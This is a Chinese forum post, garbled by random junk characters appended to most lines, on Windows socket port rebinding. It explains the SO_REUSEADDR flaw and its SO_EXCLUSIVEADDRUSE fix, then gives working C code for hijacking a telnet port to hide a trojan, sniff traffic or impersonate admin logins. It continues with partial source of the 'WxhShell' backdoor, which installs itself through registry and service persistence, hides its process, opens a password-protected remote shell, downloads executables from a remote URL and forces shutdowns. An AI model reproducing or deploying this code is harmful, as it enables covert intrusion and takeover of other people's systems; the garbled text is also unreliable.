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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Bz6Zy)&sAL  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); &z"yls  
IJ6&*t wT  
  saddr.sin_family = AF_INET; t8B==%  
%M-B"#OB7  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ys9MV%*  
Es+BV+x[.c  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); M!iYj+nrP  
(C hL$!x  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 p"q4R2_/jh  
tH9BC5+r}  
  这意味着什么?意味着可以进行如下的攻击: `BY&&Bv#?  
&uxwz@RC0  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Mh5 =]O+  
%|3NCyJ*7  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) z.*=3   
ET q~, g'  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 -42jeJS  
?N@p~ *x  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ysQ8==`38i  
CfjVx   
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ~[ x}  
1 =9 Kwd  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 d=:&tOCg2  
0& ?/TSC  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 !J+< M~o}  
}@jT-t]P  
  #include #zw 'H9l  
  #include &^JY  
  #include Z sbE  
  #include    <utD&D8w  
  DWORD WINAPI ClientThread(LPVOID lpParam);   +X7+:QQ }  
  int main() R6 dD17  
  { f*ZIBTb 9  
  WORD wVersionRequested; _z \PVTT  
  DWORD ret; qU:Mvb^5&  
  WSADATA wsaData; x2H?B` 5  
  BOOL val; j!QP>AM|`  
  SOCKADDR_IN saddr; vq*)2.  
  SOCKADDR_IN scaddr; Zk n1@a  
  int err; >-YWq  
  SOCKET s; ,a?$F1Z-  
  SOCKET sc; |%-:qk4rG  
  int caddsize; oj~0zJI  
  HANDLE mt; NQhlb"Ix  
  DWORD tid;   S t0AV.N1  
  wVersionRequested = MAKEWORD( 2, 2 ); $5a%hK  
  err = WSAStartup( wVersionRequested, &wsaData ); "6 fTZ<  
  if ( err != 0 ) { `)s>},8W!  
  printf("error!WSAStartup failed!\n"); 7= x]p  
  return -1; z'ZGN{L  
  } qddP-uN  
  saddr.sin_family = AF_INET; =o+))R4  
   6z80Y*|eJ  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 mu =H&JC  
fF} NPl  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); aqAWaO  
  saddr.sin_port = htons(23); 5x; y{qT  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) N>4uqFo  
  { vd'd@T  
  printf("error!socket failed!\n"); f.&Y_G3a<  
  return -1; OA3* "d*  
  } &GH ,is  
  val = TRUE; #v`J]I)$  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ~#jD/  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) B?)=d,E  
  { FGG 7;0(  
  printf("error!setsockopt failed!\n"); v(2|n}qY  
  return -1; |,Xrt8O/[  
  } _o-D},f*e  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; _oJq32  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 C) "|sG  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 *R^ulp[W  
h_Cac@F0  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) G(XI TL u*  
  { '@<aS?@!t  
  ret=GetLastError(); pu +"bq  
  printf("error!bind failed!\n"); aPMqJ#fIr  
  return -1; aD:vNX  
  } |4s`;4c&  
  listen(s,2); +]%d'h  
  while(1) 30v 3C7o=  
  { uZ(j"y  
  caddsize = sizeof(scaddr); |_J[n !~f7  
  //接受连接请求 idr,s\$>  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); `Vqp o/  
  if(sc!=INVALID_SOCKET) Q}MS $[y  
  { 51k^?5cO  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); F! ;0eS"xp  
  if(mt==NULL) A+lP]Oy0S  
  { Qpc+1{BQ  
  printf("Thread Creat Failed!\n"); //}[(9b'\  
  break; /U#{6zeM[,  
  } JS<4%@  
  } PDnwaK   
  CloseHandle(mt); zi*2>5g  
  } `2@t) :  
  closesocket(s); o(I[_oUy\  
  WSACleanup(); 007SA6xq  
  return 0; [fU2$(mT+  
  }   )MKzAAt~  
  DWORD WINAPI ClientThread(LPVOID lpParam) ;hOrLy&O  
  { &T8prE?  
  SOCKET ss = (SOCKET)lpParam; \HB4ikl  
  SOCKET sc; ;O2r+n  
  unsigned char buf[4096]; |? !Ew# w  
  SOCKADDR_IN saddr; D+.h *{gD  
  long num; 4u zyU_  
  DWORD val; uwl;(zwh_  
  DWORD ret; /f9jLY +  
  //如果是隐藏端口应用的话,可以在此处加一些判断 @i9T),@  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   . ` OdnLGy  
  saddr.sin_family = AF_INET; .1.Bf26}d  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 8S>T1st  
  saddr.sin_port = htons(23); J['paHSF  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) &\$l%icuo  
  { / W}Za&]  
  printf("error!socket failed!\n"); 0.+"K}  
  return -1; P{eL;^I  
  } !S[8w9q  
  val = 100; |-hzvuSX  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) #KonVM(`  
  { f.`noZN  
  ret = GetLastError(); T6|zT}cb  
  return -1; O7shY4Sr  
  } {@u;F2?  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) V=}b>Jo2j  
  { 9tVA.:FOZ  
  ret = GetLastError(); aZYa<28?L%  
  return -1; dE*n!@  
  } =>Vo|LBoe  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) )POuH*j  
  { vv  _I o  
  printf("error!socket connect failed!\n"); 1FS Jqad  
  closesocket(sc); )~<8j  
  closesocket(ss); .,pGW8Js  
  return -1; zA&lJD $0  
  } Kc*h@#`~oL  
  while(1) i6zfr|`@  
  { e`#c[lbAAM  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 Y?2I /  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 f~u]fpkz  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 4}{HRs?  
  num = recv(ss,buf,4096,0); ;f7(d\=y  
  if(num>0) q@ >s#  
  send(sc,buf,num,0); |2\6X's  
  else if(num==0) [ds:LQq)/  
  break; *]fBd<(8  
  num = recv(sc,buf,4096,0); d*=P8QwL|  
  if(num>0) /lSz8h2  
  send(ss,buf,num,0); bIP{DxKS  
  else if(num==0) VpJ/M(UD-  
  break; e uS"C*  
  } (xJ6 : u  
  closesocket(ss); 0(;d<u)fS  
  closesocket(sc); Efb>ZQ  
  return 0 ; bE2^sx`(  
  } 8H3|i7.1h  
@eN x:}  
x-k}RI  
========================================================== ?5nF` [rx  
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下边附上一个代码,,WXhSHELL 2*-s3 >VK  
|A0LYKni  
========================================================== *M5 =PQfb  
Y&aFAjj  
#include "stdafx.h" |b{XnD_g  
| eIN<RY5  
#include <stdio.h> R74kt36M  
#include <string.h> w} *;^n  
#include <windows.h> 2H_|Attoi  
#include <winsock2.h> >[=q9k  
#include <winsvc.h> NIeT.!  
#include <urlmon.h> 5 fjeBfy  
_*1/4^  
#pragma comment (lib, "Ws2_32.lib") w{Wz^=';  
#pragma comment (lib, "urlmon.lib") zCT Wi  
imAsE;:  
#define MAX_USER   100 // 最大客户端连接数 ]lzt "[  
#define BUF_SOCK   200 // sock buffer [K;J#0V+&L  
#define KEY_BUFF   255 // 输入 buffer !CROc}  
7=t4;8|j;  
#define REBOOT     0   // 重启 aEVBU  
#define SHUTDOWN   1   // 关机 DPJ#Y -0  
M"2Tuwz  
#define DEF_PORT   5000 // 监听端口 ~k?7XF I  
n'{cU(  
#define REG_LEN     16   // 注册表键长度 5bX SN$7|  
#define SVC_LEN     80   // NT服务名长度 (Bd8@}\u_  
NH$a:>  
// 从dll定义API - *!R  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); y~An'+yBa  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); v' 7,(.E  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);  k'X v*U  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); [k.|iCD  
3(G}IWPq<  
// wxhshell配置信息 1q<BYc+z  
struct WSCFG { D(D:/L8T,  
  int ws_port;         // 监听端口 Rz1&(_Ps  
  char ws_passstr[REG_LEN]; // 口令 * VH!<k[n  
  int ws_autoins;       // 安装标记, 1=yes 0=no 2J =K\ L  
  char ws_regname[REG_LEN]; // 注册表键名 LFob1HH*8  
  char ws_svcname[REG_LEN]; // 服务名 9D++SU2 :}  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ) f9f_^;  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Eym<DPu$n  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 hm>JBc:n-  
int ws_downexe;       // 下载执行标记, 1=yes 0=no `uy)][j-  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ,qV8(`y_  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 f8kPbpV,  
q?g4**C  
}; m'k.R j  
D ::),,  
// default Wxhshell configuration R>U0W{1NO  
struct WSCFG wscfg={DEF_PORT, W/9dT^1y4'  
    "xuhuanlingzhe", NS @j`6/U  
    1, -;cZW.<  
    "Wxhshell", C1^=se  
    "Wxhshell", "5u*C#T2$  
            "WxhShell Service", BpZE  
    "Wrsky Windows CmdShell Service", uyMxBc%6  
    "Please Input Your Password: ", qc\]~]H]r  
  1, "  m<]B  
  "http://www.wrsky.com/wxhshell.exe", LO<R<zz  
  "Wxhshell.exe" a}ogNx  
    }; &U ]L@ ]x  
xtYX}u  
// 消息定义模块 %N_5p'W  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; fOCLN$x^  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 4%1sOnl  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; hIu;\dfwk  
char *msg_ws_ext="\n\rExit."; N|5J-fR&  
char *msg_ws_end="\n\rQuit."; (:Rj:8{  
char *msg_ws_boot="\n\rReboot..."; AJt *48H*G  
char *msg_ws_poff="\n\rShutdown..."; I}Uj"m`>  
char *msg_ws_down="\n\rSave to "; ED&>~~k)  
SYRr|Lg  
char *msg_ws_err="\n\rErr!"; Ql^I$5&  
char *msg_ws_ok="\n\rOK!"; FuiG=quY  
|uI d:^ {  
char ExeFile[MAX_PATH]; _Q,`Qn@|BD  
int nUser = 0; fqA\Rp6Z  
HANDLE handles[MAX_USER]; $L_-U~^  
int OsIsNt; 1@sy:{ d`  
M_*"g>Z  
SERVICE_STATUS       serviceStatus; ec+&K?T  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; V  @8+  
3maiBAOKz  
// 函数声明 P2pdXNV  
int Install(void);  i1$ $86  
int Uninstall(void); w%R(*,r6  
int DownloadFile(char *sURL, SOCKET wsh); J7q^4M+o:  
int Boot(int flag); FIhq>L.q4  
void HideProc(void); t?f2*N :  
int GetOsVer(void); + X(@o  
int Wxhshell(SOCKET wsl); o^FlQy\  
void TalkWithClient(void *cs); :UM>`Y  
int CmdShell(SOCKET sock); d\dh"/_$  
int StartFromService(void); ]W39HL  
int StartWxhshell(LPSTR lpCmdLine); $q,2VH:Ip  
$(B|$e^:(  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ^N#B( F  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); >Q#h,x~vu  
Wsya:9|  
// 数据结构和表定义 0w9)#e+JS  
SERVICE_TABLE_ENTRY DispatchTable[] = TELN4*  
{ 3*x_S"h  
{wscfg.ws_svcname, NTServiceMain}, ")m 0 {  
{NULL, NULL} QG {KEj2V  
}; \Fg%V>  
dPZrX{ c  
// 自我安装 q ww*  
int Install(void)  #v+ 2W  
{ N\{Xhr7d  
  char svExeFile[MAX_PATH]; /W\@/b,  
  HKEY key; K}7E;O5m"  
  strcpy(svExeFile,ExeFile); koDIxj'%X  
x6Zhw9RV  
// 如果是win9x系统,修改注册表设为自启动 1"tyxAo\  
if(!OsIsNt) { Pj(Dl C7G,  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ChzKwYDY  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); C$?gt-tJ'  
  RegCloseKey(key); L!G]i;=:  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { MJ"ug8 N  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); {2"8^;  
  RegCloseKey(key); J=?`~?Vbo  
  return 0; 7u7`z%  
    } Ug(;\*yg  
  } A)6xEeyR  
} &z kuL  
else { QS(aA*D  
HZ%2WM  
// 如果是NT以上系统,安装为系统服务 -Uj)6PzGu  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); %L(;}sJ.  
if (schSCManager!=0) SR)jJ=R3  
{ iY@wg 8ry  
  SC_HANDLE schService = CreateService S&(MR%".  
  (  *-Y`7=^$  
  schSCManager, ZYRZ$87jZ  
  wscfg.ws_svcname, 5B6twn~[  
  wscfg.ws_svcdisp, \%& BK.t  
  SERVICE_ALL_ACCESS, {jdtNtw  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , |Z6M?n  
  SERVICE_AUTO_START, -u+@5K;^Y  
  SERVICE_ERROR_NORMAL, 2tPW1"M.n  
  svExeFile, ~4gOv  
  NULL, *iLlBE  
  NULL, b,C2(?hg  
  NULL, O_=2{k~s0  
  NULL, K9-;-{qb  
  NULL /`6Y-8e2  
  ); u NmbR8Mx  
  if (schService!=0) xib?XzxGo  
  { !@>_5p>q*  
  CloseServiceHandle(schService); b0X<)1O  
  CloseServiceHandle(schSCManager); b;Nm$`2  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); U-^qVlw  
  strcat(svExeFile,wscfg.ws_svcname); M9[52D!{  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { P;~`%,+S  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); rgq~lZ.U4K  
  RegCloseKey(key); Qc4r?7S<  
  return 0; .+ezcG4q  
    } Oly"ll*K  
  } HrOq>CSR  
  CloseServiceHandle(schSCManager); i28WgDG)5  
} `G/%U~  
} aMv?D(Meb  
zEM  c)  
return 1; {L6@d1u  
} AS1#_f C  
<'T:9  
// 自我卸载 #3VOC#.  
int Uninstall(void) ht>C6y  
{ ws/e~ T<c  
  HKEY key; K Eda6zZH  
I:|<};m m  
if(!OsIsNt) { qStZW^lFeY  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { :zA/~/Wo  
  RegDeleteValue(key,wscfg.ws_regname); F#b^l}  
  RegCloseKey(key); $G\WW@*GE  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { g2 RrBK,  
  RegDeleteValue(key,wscfg.ws_regname); z6'Cz}%EP'  
  RegCloseKey(key); 3#\++h]QZ  
  return 0; 8NF93tqD6  
  } 7C;oMh5  
} @ra^0  
} 1>yh`Bp\=  
else { zG\& ZU  
bwR$9 10b  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); kh4., \'  
if (schSCManager!=0) e:9s%|]T  
{ ^uiQZ%;  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); P^3`znq{  
  if (schService!=0) $Wy(Wtrx|  
  { %3%bRP  
  if(DeleteService(schService)!=0) { 1  b&<De  
  CloseServiceHandle(schService); yf4I<v$y  
  CloseServiceHandle(schSCManager); 9ZJn 8ki  
  return 0; N4HIQ\p  
  } cy-o@U"s8  
  CloseServiceHandle(schService); UWXl c  
  } 02 $d  
  CloseServiceHandle(schSCManager); q"@>rU4  
} ayGcc`  
} XJZ\ss  
?td`*n~,  
return 1; Vb @lK~  
} G-6k[-@-v  
1G'D'  
// 从指定url下载文件 IgIM8"N  
int DownloadFile(char *sURL, SOCKET wsh) .IU\wN  
{ PtTL tiE~  
  HRESULT hr; }/bxe0px  
char seps[]= "/"; 1a gNwFd~  
char *token; )5[OG7/g  
char *file; :{LNr!I?I  
char myURL[MAX_PATH]; 88&M8T'AP  
char myFILE[MAX_PATH]; ]qd$rX   
&wa2MNCG8  
strcpy(myURL,sURL); ,*kh{lJ  
  token=strtok(myURL,seps); B7QRG0  
  while(token!=NULL) {Mpx33  
  { ~dBx<  
    file=token; wi/qI(O!  
  token=strtok(NULL,seps); U-*`I?~=4  
  } eKUP,y;[I  
~tc,p  
GetCurrentDirectory(MAX_PATH,myFILE); !AXt6z cZ  
strcat(myFILE, "\\"); M!wa }  
strcat(myFILE, file); @B`nM#X#  
  send(wsh,myFILE,strlen(myFILE),0); Ro@ =oyLE  
send(wsh,"...",3,0); Lcz`  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); nYnB WDnV  
  if(hr==S_OK) L`"j> ),  
return 0; gs"w 0[$  
else I}sb0 Q&  
return 1; _. &N@k  
*Y':raP  
} gF>t+"+ x  
im3BQIPR  
// 系统电源模块 4%$#   
int Boot(int flag) it$w.v+W7V  
{ } *jmW P  
  HANDLE hToken; %a:>3! +  
  TOKEN_PRIVILEGES tkp; X \BxRgl},  
O?`_RN4l  
  if(OsIsNt) { KG=57=[  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 1EMud,,:  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); TCR|wi] kW  
    tkp.PrivilegeCount = 1; l3xI\{jn  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; _:\zbn0\  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); *{("T  
if(flag==REBOOT) { +-!2nk`"a  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) "x0/i?pqa  
  return 0; D0}r4eA  
} kQ`p\}7_  
else { :Vy*MPS5  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) m%cwhH_B  
  return 0; a$5P\_  
} x#XxD<y  
  } G ?Hx"3:?  
  else { 5uX-onP\[  
if(flag==REBOOT) { W6s-epsRmT  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) gW-mXb  
  return 0; /PKu",Azj  
} LC4W?']/  
else { Bm5\*Xd1(  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 4-?zW  
  return 0; ^kK% 8 u  
} OH13@k  
} fXe$Ug|5a  
qg2Vmj<H  
return 1; [pC2#_}  
} W2&(:C8V@  
\30rF]F`l  
// win9x进程隐藏模块 N/zP!%L  
void HideProc(void) d"tR ?j  
{ l<;~sag  
6Nws>(Ij  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 7]_zWx,r  
  if ( hKernel != NULL ) "r~/E|Da<  
  { ffMk.SqI  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); F/cA tT.M?  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); -wr_x<7  
    FreeLibrary(hKernel); Am|)\/K+Z  
  } <1#hX(Q  
p^1~o/  
return; @ qS Z=  
} / E!N:g<  
7h.fT`  
// 获取操作系统版本 J@OK"%12  
int GetOsVer(void) D\| U_>  
{ v_Hy:O}R  
  OSVERSIONINFO winfo; M0T z('~s  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); h'+F'1=  
  GetVersionEx(&winfo); 8#w%qij  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ME66BWg{  
  return 1; <.2jQ#So  
  else (((|vI3 <  
  return 0; =ea.+  
} L&d.&,CNs'  
RT(ejkLZm  
// 客户端句柄模块 Vg(M ^2L  
int Wxhshell(SOCKET wsl) Iw^Q>MrT  
{ k=cDPu -  
  SOCKET wsh; I_ AFHrj  
  struct sockaddr_in client; z8XWp[K  
  DWORD myID; ,M~> t7+  
dvM%" k  
  while(nUser<MAX_USER) phQ{<wzwp  
{ s\< @v7A  
  int nSize=sizeof(client); FKPR;H8>  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); *I[tIO\  
  if(wsh==INVALID_SOCKET) return 1; :H:Se  
tH~>uOZW  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 4bcd=a;  
if(handles[nUser]==0) ?E<9H/  
  closesocket(wsh); \8g= Ix  
else eL<jA9cJ9  
  nUser++; ]57yorc`  
  } p: )=i"uL  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); S503b*pM  
w:/3%-  
  return 0; kZ PL$ \/A  
} fwiP3*j+Nn  
K {  FZ/  
// 关闭 socket |+KwyHE`9  
void CloseIt(SOCKET wsh) _ds;:*N+qA  
{ %E"v@  
closesocket(wsh); {VXucGI|  
nUser--; UZs'H"K  
ExitThread(0); G{{M' 1  
} 0":k[y  
LJom+PxF$x  
// 客户端请求句柄 *<[zG7+&[  
void TalkWithClient(void *cs) t 4VeXp6  
{ 1=,y +Xpw  
7#c4.9b?  
  SOCKET wsh=(SOCKET)cs; WEJ-K<A(  
  char pwd[SVC_LEN]; !iq|sXs  
  char cmd[KEY_BUFF]; V/:2xT  
char chr[1]; 9 r&JsCc  
int i,j; ~ivOSr7s}  
O"/Sv'|H#  
  while (nUser < MAX_USER) { IT)3Et@Y  
C#4_`4{  
if(wscfg.ws_passstr) { o@7U4#E  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); c%bzrYQvA;  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); !{{gL=_@  
  //ZeroMemory(pwd,KEY_BUFF); |fIyq}{7  
      i=0; d WY{x47  
  while(i<SVC_LEN) { m@u% 3*:  
mYj)![  
  // 设置超时 tj*/%G{Y  
  fd_set FdRead; +KD7Di91<K  
  struct timeval TimeOut; ;4(}e{  
  FD_ZERO(&FdRead); x7Gf):,LK  
  FD_SET(wsh,&FdRead); j@w1S[vt  
  TimeOut.tv_sec=8; :`E p#[Wvo  
  TimeOut.tv_usec=0; d S'J@e=#  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); l^$'6q"  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); B^]PKjLNZ  
,QpFVlPU  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); [q C0YM  
  pwd=chr[0]; Nd+1r|e'  
  if(chr[0]==0xd || chr[0]==0xa) { ?Pa(e)8\  
  pwd=0; u>G9r#~`k  
  break; 9zS   
  } =*I|z+  
  i++; 8 ]exsn Z  
    } ,Si{]y  
Z1:%Aq xP  
  // 如果是非法用户,关闭 socket 3!osQ1  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); {y a .  
} zsd1n`r  
6}?d%K  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); p:K%-^  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); &oq 0XV.M^  
> <Zu+HX  
while(1) { q5L^>"  
D/~1?p  
  ZeroMemory(cmd,KEY_BUFF); vy7/  
P tLWFO  
      // 自动支持客户端 telnet标准   AFm9"mQrw  
  j=0; Kvo&_:  
  while(j<KEY_BUFF) { >Q!}tbg~9  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); HZZZ [km  
  cmd[j]=chr[0]; P.5l9N s(O  
  if(chr[0]==0xa || chr[0]==0xd) { jU7[z$GX  
  cmd[j]=0; * Ogf6  
  break; Q$:Q6 /5.  
  } =>B"j`oR  
  j++; y`j=(|DV  
    } vq^';<Wh.  
*i^$xjOa  
  // 下载文件 ]K*R[  
  if(strstr(cmd,"http://")) { gwQMy$  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 5h`LWA B  
  if(DownloadFile(cmd,wsh)) )\ceanS  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7=9>yba)^  
  else d1/9 A-{  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); TH'8^wf  
  } [A/2 Ms  
  else { RJzIzv99m  
l>b'b e9  
    switch(cmd[0]) { .=TXi<8Brw  
   \20} /&  
  // 帮助 0VSIyG_Z  
  case '?': { "n` z`{<n  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); @$n $f  
    break; !CcDA/0  
  } yDKH;o  
  // 安装 7/51_=%kR  
  case 'i': { Z|$DchC  
    if(Install()) $x+7.%1m)~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); NWvIwt{  
    else _<FUS'"  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); h=gtuaR4  
    break; 8K-P]]  
    } k]5tU\;Yw  
  // 卸载 $b1>,d'oz  
  case 'r': { !ess.U&m'  
    if(Uninstall()) `Ucj_6&Tqs  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); D@gC(&U/6  
    else k|?[EWIi^  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3&7? eO7*  
    break; * 7Ov.v%  
    } 1xd6p  
  // 显示 wxhshell 所在路径 T+@i;M  
  case 'p': { |cY,@X,X6  
    char svExeFile[MAX_PATH]; 8|=C/k  
    strcpy(svExeFile,"\n\r"); (w)%2vZ^  
      strcat(svExeFile,ExeFile); 1:](=%oM&k  
        send(wsh,svExeFile,strlen(svExeFile),0); x@Z{5w_a  
    break; #f24a?n|  
    } ~Jr'4%   
  // 重启 T`fT[BaY  
  case 'b': { #jg-q|nd  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); bUm%#a  
    if(Boot(REBOOT)) `1(ED= |  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _Ffg"xoC  
    else { " WQ6[;&V  
    closesocket(wsh); [B;okW  
    ExitThread(0); t-KicLr  
    } _$c o Y  
    break; .,xyE--;d  
    } 3kC|y[.&  
  // 关机 x4c|/}\)*  
  case 'd': { aYT!xdCI  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ~LpkA`Hn!  
